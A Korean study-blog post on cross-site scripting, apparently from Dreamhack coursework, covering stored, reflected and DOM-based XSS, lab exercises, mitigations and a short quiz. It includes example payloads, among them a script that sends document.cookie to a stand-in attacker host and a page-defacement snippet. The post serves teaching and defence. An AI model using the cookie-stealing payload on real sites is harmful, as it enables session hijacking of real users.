sonotri
  • Web Hacking_ClientSide: XSS
    2024년 09월 18일 18시 35분 07초에 업로드 된 글입니다.
    작성자: sonootri

    1.서론

    ClientSide 취약점은, 웹 페이지의 이용자를 대상으로 공격할 수 있는 취약점이다.

    해당 종류의 취약점을 통해 이용자를 식별하기 위한 세션 및 쿠키 정보를 탈취하고, 해당 계정으로 임의의 기능을 수행할 수 있다.

     

    + Croos Site Scripting의 약어가 XSS인 이유

    -> 스타일 시트를 정의하는 CSS와 혼동되어 사용될 수 있기 때문에 XSS로 명명되었다.


    2. Cross-Site Scripting(XSS)

    XSS는 클라이언트 사이드 취약점 중 하나로, 공격자가 웹 리소스에 악성 스크립트를 삽입해 이용자의 웹 브라우저에서 해당 스크립트를 실행할 수 있다. 

    간단히 말해, 웹 사이트 관리자가 아닌 이가 웹 페이지에 클라이언트 측에서 실행될 수 있는 악성 스크립트를 삽입할 수 있는 취약점이다.

     

    공격자는 해당 취약점을 통해 특정 계정의 세션 정보를 탈취하고 해당 계정으로 임의의 기능을 수행할 수 있다. 예를 들어, 나의 tistory 페이지에 XSS 취약점이 존재하면 https://sonowhstudy.tistory.com  내에서 origin 권한으로 악성 스크립트를 삽입한다. 이후 이용자가 악성 스크립트가 포함된 페이지를 방문하면 공격자가 임의로 삽입한 스크립트가 실행되어 쿠키 및 세션이 탈취될 수 있다.

     

    해당 취약점은 SOP 보안 정책이 등장하면서 서로 다른 오리진에서는 정보를 익는 행위가 이전에 비해 힘들어졌다.

    하지만 이를 우회하는 다양한 기술이 소개되면서 XSS 공격은 계속 지속되고있다.

     

     

    2.1. Origin

    출처 즉 Origin이란, URL 구조에서 Protocol, Host, Port를 합친 것을 의미한다.


    3. XSS 발생 예시와 종류

    XSS 공격은 이용자가 삽입한 내용을 출력하는 기능에서 발생한다. 이러한 기능의 예로는, 로그인 시 출력되는 "안녕하세요 OOO회원님"과 같은 문구 또는 게시물, 댓글 등이 있다.

     

    클라이언트는 HTTP 형식으로 웹 서버에 리소스를 요청하고 서버로부터 받은 응답 즉 HTML, CSS, JS 등의 웹 리소스를 시각화하여 이용자에게 보여준다. 이때 HTML, CSS, JS와 같은 코드가 포함된 게시물을 조회할 경우 이용자는 변조된 페이지를 보거나 스크립트가 실행될 수 있다.

    XSS는 발생 형태에 따라 다양한 종류로 구분된다. 

     

     

    3.1. Stored XSS

    XSS에 사용되는 악성 스크립트가 서버에 저장되고 서버의 응답에 담겨오는 XSS이다.

     

    공격자가 서버에서 제공되는 게시판, 방명록, 사용자 프로필 등에 악의적인 스크립트를 작성하여 저장한 후 사용자가 게시물, 방명록 등을 확인하면 스크립트가 사용자에게 전달되어 실행되는 취약점이다.

    공격자가 작성한 악성 스크립트가 서버에 저장되어 사용된다는 특징이 있다.

     

     

    3.2. Reflected XSS

    XSS에 사용되는 악성 스크립트가 URL에 삽입되고 서버의 응답에 담겨오는 XSS이다.

     

    공격자가 악성 스크립트가 담긴 URL을 생성하여 메일 등을 통해 사용자에게 전달한 후 실행하도록 하는 공격으로, 송격자가 악성 스크립트가 담긴 URL을 사용자에게 전달한 후 사용자가 실행하면 웹 서버로부터 해당 스크립트에 대한 응답이 즉시 사용자에게 전달된다. 이 과정이 마치 반사되는 것과 같은 형상을 보이기 때문에 Reflected XSS공격이라 불린다.

     

    보통 사회공학 기법 중 하나인 '피싱'을 이용하여 악성 스크립트가 담긴 URL을 사용자에게 전달하여 URL을 클릭하도록 유도한다.

     

     

    3.3. DOM-based XSS

    XSS에 사용되는 악성 스크립트가 URL Fragment에 삽입되는 XSS이다. Fragment는 서버 요청/응답에 포함되지 않는다.

     

    HTML의 문법은 태그의 집합으로 구성되어 있고, 이러한 태그들은 드리 구조로 객체가 형성된다. 이러한 트리 구조의 집합을 DOM(Document Obiect Model)구조라고 한다. DOM 구조에 접근하기 위해서는 JS와 같은 스크립트 언어를 사용해야한다.

     

    DOM-based XSS란, DOM 구조를 이용하여 요소들을 수정하거나 추가하는 등, 동적 행위를 할 때 접근하는 JS에 악성 스크립트를 삽입하여 클라이언트 측 브라우저에서 악성 스크립트가 실행되도록 하는 공격이다.

     

    Reflected XSS와 같이 동적 페이지를 구성하는 과정 상에서 발생되는 XSS 공격이지만, Reflected XSS는 서버측에서 동적 페이지를 구성하는 환경에서 발생되는 XSS이다. 반면 DOM based XSS는 클라이언트 측에서 사용자 입력 값을 통해 동적 페이지를 구성하는 환경에서 발생되는 XSS 취약점이다. 즉, 요청이 서버로 전송되지 않고 클라이언트 브라우저에서 공격이 이루어지는 특징을 가진다.


    4. XSS 스크립트 예시

    JS는 웹 문서의 동작을 정의한다. 이는 이용자가 버튼 클릭 시에 어떤 이벤트를 발생시킬지와 데이터 입력시 해당 데이터를 전송하는 이벤트를 구현할 수 있다. 이러한 기능 외에도 이용자와의 상호작용 없이 이용자의 권한으로 정보를 조회하거나 변경하는 등의 행위가 가능하다. 이러한 행위가 가능한 이유는, 이용자를 식별하기 위한 세션 및 쿠키가 웹 브라우저에 저장되어 있기 때문이다. 따라서 공격자는 자바스크립트를 통해 이용자에게 보여지는 웹 페이지를 조작하거나, 웹 브라우저의 위치를 임의의 주소로 변경할 수 있다.

     

    JS는 다양한 동작을 정의할 수 있기 때문에 XSS 공격에 주로 사용된다. JS를 실행하기 위한 태그로는 <script>가 있다.

    아래 코드들은 JS를 이용한 XSS 공격 코드 예시이다.

    //쿠키 및 세션 탈취 공격 코드
    <script>
    alert("hello");
    // 현재 페이지의 쿠키(return type: string)
    document.cookie; 
    // 현재 페이지의 쿠키를 인자로 가진 alert 실행.
    alert(document.cookie);
    // 쿠키 생성(key: name, value: test)
    document.cookie = "name=test;";
    // new Image() 는 이미지를 생성하는 함수이며, src는 이미지의 주소를 지정. 공격자 주소는 http://hacker.dreamhack.io
    // "http://hacker.dreamhack.io/?cookie=현재페이지의쿠키" 주소를 요청하기 때문에 공격자 주소로 현재 페이지의 쿠키 요청함
    new Image().src = "http://hacker.dreamhack.io/?cookie=" + document.cookie;
    </script>

     

    //페이지 변조 공격 코드
    <script>
    // 이용자의 페이지 정보에 접근.
    document;
    // 이용자의 페이지에 데이터를 삽입.
    document.write("Hacked By DreamHack !");
    </script>

     

     

    4.1. <script> 태그

    기본적으로 JS는 HTMl 위에서 동작하는 언어이다. 

    HTML 위에서 완전히 다른 문법을 가진 JS코드를 넣기 위해 사용하는 것이 <script> 태그이다. 웹 브라우저는 <script> 태그 안의 코드를 JS 코드로 해석한다.

     

    정적인 HTML에서는 1+1이 그대로 출력되지만, 동적인 JS는 1+1의 계산 결과인 2를 출력한다.

     <h1>JavaScript</h1>
        1+1 //정적인 HTML
        <script> //script로 감싸진 JS
            document.write('<h1>hello world</h1>'); 
            document.write(1+1);
        </script>

     


    5. Stored XSS & Reflected XSS 실습

    • Stored XSS: 서버의 DB 또는 파일 등의 형태로 저장된 악성 스크립트를 조회할 때 발생하는 XSS이다. 대표적으로 게시물과 댓글에 악성 스크립트를 포함해 업로드하는 방식이 있다. 게시물은 불특정 다수에게 보여지기 때문에 해당 기능에서 XSS 취약점이 존재할 경우 높은 파급력을 가진다.
    • Reflected XSS: 서버가 악성 스크립트가 담긴 요청을 출력할 때 발생한다. 대표적으로 게시판 서비스에서 작성된 게시물을 조회하기 위한 검색창에서 스크립트를 포함해 검색하는 방식이 있다. 이용다가 게시물을 검색하면 서버에서는 검색 결과를 이용자에게 반환한다. 일부 서비스에서는 검색 결과를 응답에 포함하는데, 검색 문자열에 악성 스크립트가 포함되어 있다면 Reflected XSS가 발생할 수 있다.

    Reflected XSS는 Stored XSS와는 다르게 URL과 같은 이용자의 요청에 의해 발생한다. 따라서 공격을 위해서는 다른 이용자를 악성 스크립트가 포함된 링크에 접속하도록 유도해야한다. 이용자에게 링크를 직접 전달하는 방법은 악성 스크립트 포함 여부를 이용자가 눈치챌 수 있기 때문에 주로 Click Jacking 또는 Open Redirect 등 다른 취약점과 연계하여 사용한다.

     

     

    5.1. Stored XSS 실습

    (해당 실습 모듈을 사용자가 작성한 내용을 서버에 업로드 한 뒤, HTML 형식으로 출력하는 동작을 수행한다.)

    Content 필드에서 필터링이 일어나지 않아 Stored XSS 취약점이 발생한다. 해당 필드에 <script> 태그 혹은 HTMl 태그를 삽입하고 반환되는 HTML 코드를 확인함으로써 Stored XSS의 발생 형태를 확인해볼 수 있다.

     

     

    <script> 태그 안에 alert(1); 등의 JS 함수를 실행하는 것으로 Stored XSS의 발생을 확인할 수도 있다.

     

     

     

    5.2. Reflected XSS 실습

    (실습 모듈을 게시판에서 게시물을 조회하는 기능을 수행한다.)

    <h3> 태그에서 사용자 입력을 그대로 받아 서버가 출력하기 때문에 Reflected XSS 취약점이 발생한다. 해당 필드에 <script> 태그 혹은 HTML 태그를 삽입하고 반환되는 HTML 코드를 확인함으로써 Reflected XSS의 발생 형태를 확인할 수 있다.

     

    <script> 태그 안에 alert(1); 등의 JS 함수를 실행하는 것으로도 확인 가능하다.

     


    6. 다시 한번 정리

    Stored XSS는 악성 스크립트가 서버 내에 존재하며, 이용자가 저장된 악성 스크립트를 조회할 때 발생한다.

    Reflected XSS는 악성 스크립트가 이용자 요청 내에 존재하며, 이용자가 악성 스크립트가 포함된 요청을 보낸 후 응답을 출력할 때 발생한다.


    7. XSS 대응 방안

    1) 웹 서버에서 입력 값에 정의된 문자 길이를 제한 또는 검증하여, 클라이언트 측에서 실행될 수 있는 스크립트 명령이 삽입되지 않도록 설정한다.

     

    2) HTML 태그의 사용이 불필요한 경우, 사용자의 입력 값에서 HTML 특수 문자들을 HTML Entity로 변환하여 스크립트를 일반 문자열로 인식되도록 한다.

     

    3) 부득이하게 HTML 태그를 반드시 사용해야 할 경우에는, 블랙리스트 또는 화이트리스트 방식을 이용해 반드시 사용해야만 하는 특정 태그만을 사용할 수 있도록 설정한다.


    8. Quiz

    1) XSS 취약점이 발생하는 곳은?

    클라이언트 + 서버 O

    서버

    클라이언트

     

    2) "공격 스크립트가 서버 내에 존재하는 DB 또는 파일 등의 형태로 저장되어 있다가, 이용자가 저장된 공격 스크립트를 조회하는 순간 발생하는 형태의 XSS".. 다음이 설명하는 XSS로 올바른 것은?

    DOM XSS

    Universal XSS

    Reflected XSS

    Stored XSS O

     

    3) 이용자의 요청에 악성 스크립트가 포함되는 XSS는?

    DOM XSS

    Universal XSS

    Reflected XSS O

    Stored XSS 


    <참고 자료>

    #2. 이해하기 쉬운 웹 보안 모델 이야기(S.. : 네이버블로그 (naver.com)

    [웹 해킹] Stored XSS / DVWA 환경 실습 / 대응 방안 — Maker's security (tistory.com)

    [웹 해킹] Reflected XSS / DVWA 환경 실습 / 대응 방안 — Maker's security (tistory.com)

     

     

     

     

    'Dreamhack > Web Hacking' 카테고리의 다른 글

    Web Hacking_Exercise: XSS - 2🚩  (0) 2024.09.22
    Web Hacking_Exercise: XSS - 1🚩  (0) 2024.09.22
    Web Hacking_Exercise: cookie & Session🚩  (1) 2024.09.18
    Web Hacking_Exercise: cookie🚩  (0) 2024.09.17
    Web Hacking_cookie & session  (0) 2024.09.17
    댓글